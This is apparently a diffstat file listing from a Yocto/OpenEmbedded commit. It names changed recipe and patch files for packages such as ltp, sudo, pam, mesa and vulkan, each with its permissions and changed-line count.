-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch12
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch81
-rw-r--r--meta/recipes-extended/ltp/ltp/0002-lib-fix-MemAvailable-parsing.patch36
-rw-r--r--meta/recipes-extended/ltp/ltp/0003-lapi-rtnetlink.h-Fix-include-guards.patch37
-rw-r--r--meta/recipes-extended/ltp/ltp/0004-lapi-Create-if_addr.h-and-reuse-it-in-rtnetlink.h.patch58
-rw-r--r--meta/recipes-extended/ltp/ltp/0005-lapi-if_addr.h-Define-IFA_FLAGS.patch60
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp_20200930.bb120
-rw-r--r--meta/recipes-extended/ltp/ltp_20210927.bb136
-rw-r--r--meta/recipes-extended/lzip/lzip_1.21.bb41
-rw-r--r--meta/recipes-extended/lzip/lzip_1.22.bb42
-rw-r--r--meta/recipes-extended/man-db/man-db_2.9.3.bb58
-rw-r--r--meta/recipes-extended/man-db/man-db_2.9.4.bb71
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.08.bb36
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.13.bb36
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch24
-rw-r--r--meta/recipes-extended/mc/mc_4.8.25.bb53
-rw-r--r--meta/recipes-extended/mc/mc_4.8.27.bb60
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch2
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch2
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.1.bb25
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb3
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch2
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch32
-rw-r--r--meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch2
-rw-r--r--meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch2
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch17
-rw-r--r--meta/recipes-extended/minicom/minicom_2.7.1.bb31
-rw-r--r--meta/recipes-extended/minicom/minicom_2.8.bb28
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.13.bb27
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.19.bb27
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch26
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch22
-rw-r--r--meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb110
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb121
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.21.bb14
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb2
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb57
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch68
-rw-r--r--meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch65
-rw-r--r--meta/recipes-extended/pam/libpam/crypt_configure.patch40
-rw-r--r--meta/recipes-extended/pam/libpam/include_paths_header.patch59
-rw-r--r--meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch203
-rw-r--r--meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch195
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.3.1.bb168
-rw-r--r--meta/recipes-extended/pam/libpam_1.5.2.bb185
-rw-r--r--meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch26
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch66
-rw-r--r--meta/recipes-extended/parted/files/check-vfat.patch51
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest2
-rw-r--r--meta/recipes-extended/parted/parted_3.3.bb59
-rw-r--r--meta/recipes-extended/parted/parted_3.4.bb62
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb2
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb20
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb21
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb6
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb2
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb4
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb6
-rw-r--r--meta/recipes-extended/pigz/pigz_2.4.bb49
-rw-r--r--meta/recipes-extended/pigz/pigz_2.6.bb48
-rw-r--r--meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch44
-rw-r--r--meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch23
-rw-r--r--meta/recipes-extended/procps/procps_3.3.16.bb76
-rw-r--r--meta/recipes-extended/procps/procps_3.3.17.bb103
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc28
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.3.bb9
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.4.bb9
-rw-r--r--meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch34
-rw-r--r--meta/recipes-extended/quota/quota_4.05.bb34
-rw-r--r--meta/recipes-extended/quota/quota_4.06.bb35
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch58
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb55
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb55
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb8
-rw-r--r--meta/recipes-extended/screen/screen/CVE-2021-26937.patch68
-rw-r--r--meta/recipes-extended/screen/screen_4.8.0.bb9
-rw-r--r--meta/recipes-extended/sed/sed_4.8.bb11
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch29
-rw-r--r--meta/recipes-extended/shadow/files/0001-Fix-out-of-tree-builds-with-respect-to-libsubid-incl.patch114
-rw-r--r--meta/recipes-extended/shadow/files/0001-libmisc-fix-default-value-in-SHA_get_salt_rounds.patch64
-rw-r--r--meta/recipes-extended/shadow/files/0001-libsubid-link-to-PAM-libraries.patch31
-rw-r--r--meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch301
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch6
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb2
-rw-r--r--meta/recipes-extended/shadow/shadow.inc72
-rw-r--r--meta/recipes-extended/shadow/shadow_4.8.1.bb10
-rw-r--r--meta/recipes-extended/shadow/shadow_4.9.bb11
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch4
-rw-r--r--meta/recipes-extended/slang/slang_2.3.2.bb8
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch23
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch32
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.11.23.bb27
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.13.08.bb24
-rw-r--r--meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch25
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch19
-rw-r--r--meta/recipes-extended/sudo/sudo.inc30
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.3p1.bb49
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.8p2.bb60
-rw-r--r--meta/recipes-extended/sysklogd/files/0001-Makefile.am-fixup-issue-17.patch43
-rwxr-xr-xmeta/recipes-extended/sysklogd/files/sysklogd3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd.inc54
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb56
-rw-r--r--meta/recipes-extended/sysstat/sysstat.inc16
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.4.0.bb7
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.4.4.bb7
-rw-r--r--meta/recipes-extended/tar/tar/musl_dirent.patch19
-rw-r--r--meta/recipes-extended/tar/tar_1.32.bb66
-rw-r--r--meta/recipes-extended/tar/tar_1.34.bb68
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb18
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb1
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch11765
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch254
-rw-r--r--meta/recipes-extended/texinfo/texinfo_6.7.bb91
-rw-r--r--meta/recipes-extended/texinfo/texinfo_6.8.bb90
-rw-r--r--meta/recipes-extended/time/time_1.9.bb2
-rw-r--r--meta/recipes-extended/timezone/timezone.inc9
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb359
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb9
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb31
-rw-r--r--meta/recipes-extended/wget/wget.inc8
-rw-r--r--meta/recipes-extended/wget/wget_1.20.3.bb8
-rw-r--r--meta/recipes-extended/wget/wget_1.21.2.bb7
-rw-r--r--meta/recipes-extended/which/which_2.21.bb8
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb3
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb24
-rw-r--r--meta/recipes-extended/xz/xz_5.2.5.bb19
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb7
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch81
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-MinGW-Build-Fixes.patch193
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.0.bb42
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_3.38.1.bb20
-rw-r--r--meta/recipes-gnome/epiphany/epiphany_41.0.bb42
-rw-r--r--meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch8
-rw-r--r--meta/recipes-gnome/epiphany/files/distributor.patch17
-rw-r--r--meta/recipes-gnome/epiphany/files/migrator.patch24
-rw-r--r--meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch37
-rw-r--r--meta/recipes-gnome/gcr/gcr_3.38.0.bb30
-rw-r--r--meta/recipes-gnome/gcr/gcr_3.40.0.bb43
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch171
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch38
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch94
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch39
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch28
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch30
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb132
-rw-r--r--meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb128
-rw-r--r--meta/recipes-gnome/gi-docgen/gi-docgen_git.bb22
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch6
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch26
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_3.38.0.bb42
-rw-r--r--meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb43
-rw-r--r--meta/recipes-gnome/gnome/gconf_3.2.6.bb12
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch4
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-exclude-girepo_dep-if-introspection-data.patch25
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.66.1.bb207
-rw-r--r--meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb206
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.38.0.bb16
-rw-r--r--meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb16
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3.inc40
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch47
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch44
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.23.bb18
-rw-r--r--meta/recipes-gnome/gtk+/gtk+3_3.24.30.bb17
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.33.0.bb60
-rw-r--r--meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb60
-rw-r--r--meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb2
-rw-r--r--meta/recipes-gnome/json-glib/json-glib/0001-json-glib-json-enum-types.c.in-fix-build-reproducibi.patch30
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.6.0.bb34
-rw-r--r--meta/recipes-gnome/json-glib/json-glib_1.6.6.bb32
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.38.0.bb19
-rw-r--r--meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb19
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_234.bb22
-rw-r--r--meta/recipes-gnome/libgudev/libgudev_237.bb31
-rw-r--r--meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch37
-rw-r--r--meta/recipes-gnome/libhandy/libhandy_1.0.1.bb20
-rw-r--r--meta/recipes-gnome/libhandy/libhandy_1.5.0.bb29
-rw-r--r--meta/recipes-gnome/libnotify/libnotify_0.7.9.bb22
-rw-r--r--meta/recipes-gnome/libportal/libportal_0.3.bb13
-rw-r--r--meta/recipes-gnome/libportal/libportal_0.4.bb17
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch35
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch47
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch30
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-Update-checksums-for-modified-files-for-libc.patch24
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch53
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0001-vendor-system-deps-sort-dependencies-before-using-th.patch50
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0005-Add-base-definitions-for-riscv64-musl-libc-0.2.93.patch898
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set-libc-.patch27
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/0007-FIXUP-Correct-definitions-to-match-musl-libc-0.2.93.patch737
-rw-r--r--meta/recipes-gnome/librsvg/librsvg/gtk-option.patch60
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.40.21.bb49
-rw-r--r--meta/recipes-gnome/librsvg/librsvg_2.52.4.bb80
-rw-r--r--meta/recipes-gnome/libsecret/libsecret/determinism.patch37
-rw-r--r--meta/recipes-gnome/libsecret/libsecret_0.20.4.bb9
-rw-r--r--meta/recipes-graphics/builder/builder_0.1.bb6
-rw-r--r--meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch60
-rw-r--r--meta/recipes-graphics/cairo/cairo_1.16.0.bb37
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb18
-rw-r--r--meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb25
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0.inc49
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch143
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch19
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch30
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0/run-ptest3
-rw-r--r--meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb10
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0.inc19
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch33
-rw-r--r--meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb7
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0.inc18
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch37
-rw-r--r--meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb7
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0.inc84
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch92
-rw-r--r--meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb6
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.103.bb59
-rw-r--r--meta/recipes-graphics/drm/libdrm_2.4.109.bb60
-rw-r--r--meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb20
-rw-r--r--meta/recipes-graphics/freetype/freetype/use-right-libtool.patch14
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.10.4.bb46
-rw-r--r--meta/recipes-graphics/freetype/freetype_2.11.1.bb44
-rw-r--r--meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch56
-rw-r--r--meta/recipes-graphics/glew/glew/no-strip.patch2
-rw-r--r--meta/recipes-graphics/glew/glew/notempdir.patch21
-rw-r--r--meta/recipes-graphics/glew/glew_2.2.0.bb2
-rw-r--r--meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch47
-rw-r--r--meta/recipes-graphics/glslang/glslang_11.7.1.bb31
-rw-r--r--meta/recipes-graphics/glslang/glslang_8.13.3743.bb20
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz/0001-Do-not-disable-introspection-in-cross-builds.patch27
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz/0001-src-hb-gobject-enums.cc.tmpl-write-out-only-the-file.patch28
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz/version-race.patch97
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_2.7.2.bb52
-rw-r--r--meta/recipes-graphics/harfbuzz/harfbuzz_3.2.0.bb48
-rw-r--r--meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch24
-rw-r--r--meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb26
-rw-r--r--meta/recipes-graphics/images/core-image-clutter.bb15
-rw-r--r--meta/recipes-graphics/images/core-image-weston-sdk.bb11
-rw-r--r--meta/recipes-graphics/images/core-image-weston.bb8
-rw-r--r--meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch10
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb59
-rw-r--r--meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.2.bb62
-rw-r--r--meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch33
-rw-r--r--meta/recipes-graphics/kmscube/kmscube_git.bb11
-rw-r--r--meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch9
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb33
-rw-r--r--meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb32
-rw-r--r--meta/recipes-graphics/libfakekey/libfakekey_git.bb2
-rw-r--r--meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb2
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/directfb-renderfillrect-fix.patch33
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2/directfb-spurious-curly-brace-missing-e.patch49
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb84
-rw-r--r--meta/recipes-graphics/libsdl2/libsdl2_2.0.18.bb78
-rw-r--r--meta/recipes-graphics/libva/libva-initial_2.13.0.bb8
-rw-r--r--meta/recipes-graphics/libva/libva-initial_2.9.0.bb5
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.13.0.bb32
-rw-r--r--meta/recipes-graphics/libva/libva-utils_2.9.1.bb32
-rw-r--r--meta/recipes-graphics/libva/libva.inc8
-rw-r--r--meta/recipes-graphics/libva/libva_2.13.0.bb15
-rw-r--r--meta/recipes-graphics/libva/libva_2.9.0.bb20
-rw-r--r--meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb4
-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb6
-rw-r--r--meta/recipes-graphics/mesa/files/0001-anv-fix-a-build-race-between-generating-a-header-and.patch31
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson-Add-xcb-fixes-to-loader-when-using-x11-and-dri.patch36
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch12
-rw-r--r--meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch49
-rw-r--r--meta/recipes-graphics/mesa/files/0001-v3dv-account-for-64bit-time_t-on-32bit-arches.patch41
-rw-r--r--meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch35
-rw-r--r--meta/recipes-graphics/mesa/files/0004-Revert-mesa-Enable-asm-unconditionally-now-that-gen_.patch147
-rw-r--r--meta/recipes-graphics/mesa/files/0005-vc4-use-intmax_t-for-formatted-output-of-timespec-me.patch51
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.1.bb30
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.2.bb28
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch7
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch62
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb6
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_20.2.1.bb15
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_21.3.1.bb16
-rw-r--r--meta/recipes-graphics/mesa/mesa.inc214
-rw-r--r--meta/recipes-graphics/mesa/mesa_20.2.1.bb2
-rw-r--r--meta/recipes-graphics/mesa/mesa_21.3.1.bb5
-rw-r--r--meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb7
-rw-r--r--meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch20
-rw-r--r--meta/recipes-graphics/mx/mx-1.0_1.4.7.bb16
-rw-r--r--meta/recipes-graphics/mx/mx.inc21
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb22
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb15
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb3
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb2
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb6
-rw-r--r--meta/recipes-graphics/pango/pango_1.46.2.bb47
-rw-r--r--meta/recipes-graphics/pango/pango_1.48.10.bb54
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch2
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-framework-profile.py-make-test-lists-reproducible.patch31
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-generated_tests-gen_tcs-tes_input_tests.py-do-not-ha.patch44
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-serializer.py-make-.gz-files-reproducible.patch30
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-tests-shader.py-sort-the-file-list-before-working-on.patch28
-rw-r--r--meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch30
-rw-r--r--meta/recipes-graphics/piglit/piglit_git.bb21
-rw-r--r--meta/recipes-graphics/shaderc/files/0001-Fix-the-link-order-of-libglslang-and-libHLSL.patch49
-rw-r--r--meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch109
-rw-r--r--meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch26
-rw-r--r--meta/recipes-graphics/shaderc/files/0003-cmake-de-vendor-libs-and-disable-git-versioning.patch53
-rw-r--r--meta/recipes-graphics/shaderc/shaderc_2020.3.bb33
-rw-r--r--meta/recipes-graphics/shaderc/shaderc_2021.3.bb29
-rw-r--r--meta/recipes-graphics/spir/files/0001-Respect-CMAKE_INSTALL_LIBDIR-in-installed-CMake-file.patch35
-rw-r--r--meta/recipes-graphics/spir/spirv-headers_1.5.4.bb18
-rw-r--r--meta/recipes-graphics/spir/spirv-tools_2020.5.bb38
-rw-r--r--meta/recipes-graphics/spir/spirv-tools_2021.4.bb40
-rw-r--r--meta/recipes-graphics/startup-notification/startup-notification_0.12.bb5
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb41
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb38
-rw-r--r--meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb8
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch36
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb24
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb23
-rw-r--r--meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch68
-rw-r--r--meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch1664
-rw-r--r--meta/recipes-graphics/vulkan/assimp_5.0.1.bb23
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.2.154.0.bb18
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.2.198.0.bb22
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.2.154.1.bb38
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.2.198.1.bb40
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-core-Add-explicit-static_cast-from-vk-Buff.patch35
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-do-not-mix-plain-and-keyword-target_link_l.patch38
